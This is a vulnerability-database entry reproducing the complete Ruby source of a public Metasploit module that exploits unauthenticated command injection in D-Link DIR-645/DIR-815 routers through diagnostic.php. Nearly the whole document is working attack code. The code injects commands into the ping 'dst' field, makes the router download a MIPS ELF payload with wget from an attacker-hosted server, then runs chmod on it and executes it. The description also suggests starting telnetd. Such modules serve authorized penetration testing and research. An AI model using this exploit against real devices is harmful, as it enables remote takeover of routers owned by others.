D-Link DIR-645 / DIR-815 diagnostic.php Command Execution
2013-04-05T17:56:15ID MSF:EXPLOIT/LINUX/HTTP/DLINK_DIAGNOSTIC_EXEC_NOAUTH
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37
Type metasploit
Reporter Rapid7
Modified 2020-10-02T20:00:37
Description
Some D-Link Routers are vulnerable to OS Command injection in the web interface. On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On version 1.03 authentication is needed in order to trigger the vulnerability, which has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B and DIR-600, are also affected by this vulnerability. Not every device includes wget which we need for deploying our payload. On such devices you could use the cmd generic payload and try to start telnetd or execute other commands. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. A ping command against a controlled system could be used for testing purposes. This module has been tested successfully on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the vulnerability.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'D-Link DIR-645 / DIR-815 diagnostic.php Command Execution',
'Description' => %q{
Some D-Link Routers are vulnerable to OS Command injection in the web interface.
On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
version 1.03 authentication is needed in order to trigger the vulnerability, which
has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B
and DIR-600, are also affected by this vulnerability. Not every device includes
wget which we need for deploying our payload. On such devices you could use the cmd
generic payload and try to start telnetd or execute other commands. Since it is a
blind OS command injection vulnerability, there is no output for the executed
command when using the cmd generic payload. A ping command against a controlled
system could be used for testing purposes. This module has been tested successfully
on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
vulnerability.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-100005' ],
[ 'OSVDB', '92144' ],
[ 'BID', '58938' ],
[ 'EDB', '24926' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
],
'DisclosureDate' => '2013-03-05',
'Privileged' => true,
'Platform' => %w{ linux unix },
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))
register_options(
[
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
])
end
def request(cmd,uri)
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'vars_post' => {
"act" => "ping",
"dst" => "` #{cmd}`"
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end
def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
uri = '/diagnostic.php'
if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
res = request(cmd,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
end
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
return
end
#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe
@elf_sent = false
#
# start our server
#
resource_uri = '/' + downfile
if (datastore['DOWNHOST'])
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
else
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
#we use SRVHOST as download IP for the coming wget command.
#SRVHOST needs a real IP address of our download host
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}})
datastore['SSL'] = true if ssl_restore
end
#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the D-Link device to download #{service_url}")
#this filename is used to store the payload on the device
filename = rand_text_alpha_lower(8)
#not working if we send all command together -> lets take three requests
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
res = request(cmd,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
end
register_file_for_cleanup("/tmp/#{filename}")
#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the D-Link device to chmod #{downfile}")
res = request(cmd,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
#
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the D-Link device to execute #{downfile}")
res = request(cmd,uri)
if (!res)
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
@elf_sent = true
send_response(cli, @pl)
end
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end
end
Protected by
